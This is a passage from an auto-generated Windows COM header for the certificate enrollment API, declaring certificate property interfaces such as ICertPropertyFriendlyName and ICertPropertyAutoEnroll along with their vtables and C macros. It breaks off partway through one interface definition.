\n\n#define ICertProperties_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperties_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertProperties_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperties_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertProperties_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertProperties_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertProperties_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertProperties_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertProperties_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertProperties_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperties_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n#define __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n\n/* interface ICertPropertyFriendlyName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyFriendlyName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab330-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyFriendlyName : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strFriendlyName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyFriendlyNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyFriendlyName * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyFriendlyNameVtbl;\n\n    interface ICertPropertyFriendlyName\n    {\n        CONST_VTBL struct ICertPropertyFriendlyNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyFriendlyName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyFriendlyName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyFriendlyName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyFriendlyName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyFriendlyName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyFriendlyName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyFriendlyName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyFriendlyName_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyFriendlyName_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyFriendlyName_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyFriendlyName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyFriendlyName_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyFriendlyName_Initialize(This,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strFriendlyName) ) \n\n#define ICertPropertyFriendlyName_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyFriendlyName_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_INTERFACE_DEFINED__\n#define __ICertPropertyDescription_INTERFACE_DEFINED__\n\n/* interface ICertPropertyDescription */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyDescription;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab331-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyDescription : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strDescription) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyDescriptionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyDescription * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in BSTR strDescription);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyDescriptionVtbl;\n\n    interface ICertPropertyDescription\n    {\n        CONST_VTBL struct ICertPropertyDescriptionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyDescription_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyDescription_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyDescription_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyDescription_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyDescription_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyDescription_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyDescription_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyDescription_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyDescription_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyDescription_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyDescription_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyDescription_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyDescription_Initialize(This,strDescription)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strDescription) ) \n\n#define ICertPropertyDescription_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyDescription_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n#define __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n\n/* interface ICertPropertyAutoEnroll */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyAutoEnroll;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab332-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyAutoEnroll : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyAutoEnrollVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyAutoEnroll * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyAutoEnrollVtbl;\n\n    interface ICertPropertyAutoEnroll\n    {\n        CONST_VTBL struct ICertPropertyAutoEnrollVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyAutoEnroll_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyAutoEnroll_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyAutoEnroll_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyAutoEnroll_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyAutoEnroll_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyAutoEnroll_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyAutoEnroll_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyAutoEnroll_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyAutoEnroll_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyAutoEnroll_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyAutoEnroll_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyAutoEnroll_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyAutoEnroll_Initialize(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strTemplateName) ) \n\n#define ICertPropertyAutoEnroll_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyAutoEnroll_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n#define __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRequestOriginator */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRequestOriginator;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab333-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRequestOriginator : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strRequestOriginator) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromLocalRequestOriginator( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestOriginator( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRequestOriginatorVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRequestOriginator * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( 